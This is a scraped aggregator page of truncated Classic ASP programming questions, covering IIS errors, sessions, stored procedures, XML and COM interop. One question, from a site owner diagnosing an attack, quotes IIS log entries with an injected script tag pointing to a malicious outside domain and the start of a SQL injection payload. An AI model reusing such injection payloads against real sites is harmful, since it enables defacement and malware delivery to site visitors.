asp-classic

IIS 6.0, Classic ASP Detailed Error Message

怎甘沉沦 提交于 2019-12-09 16:24:25
问题 I have a legacy classic asp site which is moved from IIS 7 to IIS 6. Unfortunately I am getting an error in my application but its not sending any detailed error information to the browser so I am not able to correct it. The Server throws an custom error message as follows; Internal Server Error The server encountered an internal error or misconfiguration and was unable to complete your request. Please contact the server administrator to inform of the time the error occurred and of anything

Losing Session between Classic ASP and ASP.NET

梦想与她 提交于 2019-12-09 13:59:55
问题 The company that I work for is making a transition between classic ASP programs and ASP.NET programs for our intranet software. Eventually, everything will be written in ASP.NET, but because of time constraints, there are still a number of programs that use classic ASP. To compensate we've written features that allow for redirects and autologins between classic ASP programs and ASP.NET programs. I've been starting to see a problem, though, with holding the session state for our ASP.NET

Calling Stored Procedure on classic ASP page

一笑奈何 提交于 2019-12-09 13:48:14
问题 I've been struggling all day calling a Stored Procedure from a classic ASP page. I have a few basic noobie questions. First, is this the best way to add a parameter to my command: cmd.Parameters.Append cmd.CreateParameter("@SubmissionDate", adDBTimeStamp, adParamInput, , txtDate) Second, is adDbTimeStamp the proper type to use when mapping to a smalldatetime parameter in my Stored Procedure? Third, how do I pass a null date to a datetime stored procedure? Also, what editors are popular for

How to post a page from asp.net to classic ASP

天大地大妈咪最大 提交于 2019-12-09 12:59:21
问题 I'd like to post some form variables into a classic ASP page. I don't want to have to alter the classic ASP pages, because of the amount of work that would need to be done, and the amount of pages that consume them. The classic ASP page expects form variables Username and Userpassword to be submitted to them. username = Request.Form("UserName") userpassword = Request.Form("Userpassword") It then performs various actions and sets up sessions, going into an ASP application. I want to submit

Classic ASP super newbie question

↘锁芯ラ 提交于 2019-12-09 11:32:43
问题 OK, So I have recently moved into the world of Web development after spending quite a few years coding in a pretty simple proprietary language, and one of my first jobs is to tweak an old classic ASP page for one of our clients. I'm using Visual Studio 2008 to try debug some problems I am having, but the page won't load at all. If I browse the site locally using IIS, then everything works without any trouble at all, so I am not sure what I am doing wrong. Here's the error message I get;

Reading xml data using classic ASP

末鹿安然 提交于 2019-12-09 11:13:23
问题 I have written a code for reading xml data in classic asp as follows: <% Dim objxml Set objxml = Server.CreateObject("Microsoft.XMLDOM") objxml.async = False objxml.load ("/abc.in/xml.xml") set ElemProperty = objxml.getElementsByTagName("Product") set ElemEN = objxml.getElementsByTagName("Product/ProductCode") set Elemtown = objxml.getElementsByTagName("Product/ProductName") set Elemprovince = objxml.getElementsByTagName("Product/ProductPrice") Response.Write(ElemProperty) Response.Write

Attack on ASP site that uses a SQL server database

夙愿已清 提交于 2019-12-09 05:50:57
问题 We have a survey site that was apparently attacked. The symptoms are identical to what was described on the following page on this site: XSS Attack on the ASP.NET Website. I found multiple entries in our IIS logs that included the malicious code: < / title> < script src = http : // google-stats49.info/ur.php >. Here is an example of the value of the cs-uri-query field for one of the IIS log entries. surveyID=91+update+usd_ResponseDetails+set+categoryName=REPLACE(cast(categoryName+as+varchar

Routing Classic ASP Requests To .NET - SEO Redirects

有些话、适合烂在心里 提交于 2019-12-09 01:02:01
问题 We are replacing an old classic asp website with a .NET 3.5 solution. We need to redirect all of the classic ASP requests to aspx pages (i.e. contactus.asp, may now route to /contact-us/default.aspx). What I woudl like is for the requests to hit global.asax so I can do something like If url == "bob.asp" Response.Status = "301 Moved Permanently"; Response.AddHeader("Location", SiteConfig.SiteURL + redirectUrl); End If There are two inelegant solutions. A) Place a global.asa file and do the

COM Interop (how to pass an array to the com) via classic ASP

回眸只為那壹抹淺笑 提交于 2019-12-08 21:16:46
问题 I need to create a com object for my classic asp, since i can create a .net Assembly and have it 'Interop' with com, so i proceeded to create a .net Assembly like this:- using System; using System.Collections.Generic; using System.Runtime.InteropServices; using System.Linq; using System.Text; using System.Data.SqlClient; using System.Data; using System.Configuration; using System.Web; namespace LMS { [ComVisible(true)] public class Calc { public int Add(int val1, int val2, out string[]

How can I implement strong, reversible encryption that inter-operates between ASP.NET 2.0, Coldfusion 5, and Classic ASP?

╄→尐↘猪︶ㄣ 提交于 2019-12-08 19:34:16
问题 My organization has decided to encrypt certain data in our database, and I've been given the task of implementing the encryption. I need to be able to encrypt the data, store the encrypted version in a VARCHAR field in our database, and later retrieve it and decrypt it back to its usual state. On the surface it seems like a simple task. There are a number of ways to implement encryption. One I've used before is based on the AES encryption code found in this StackOverflow question. What makes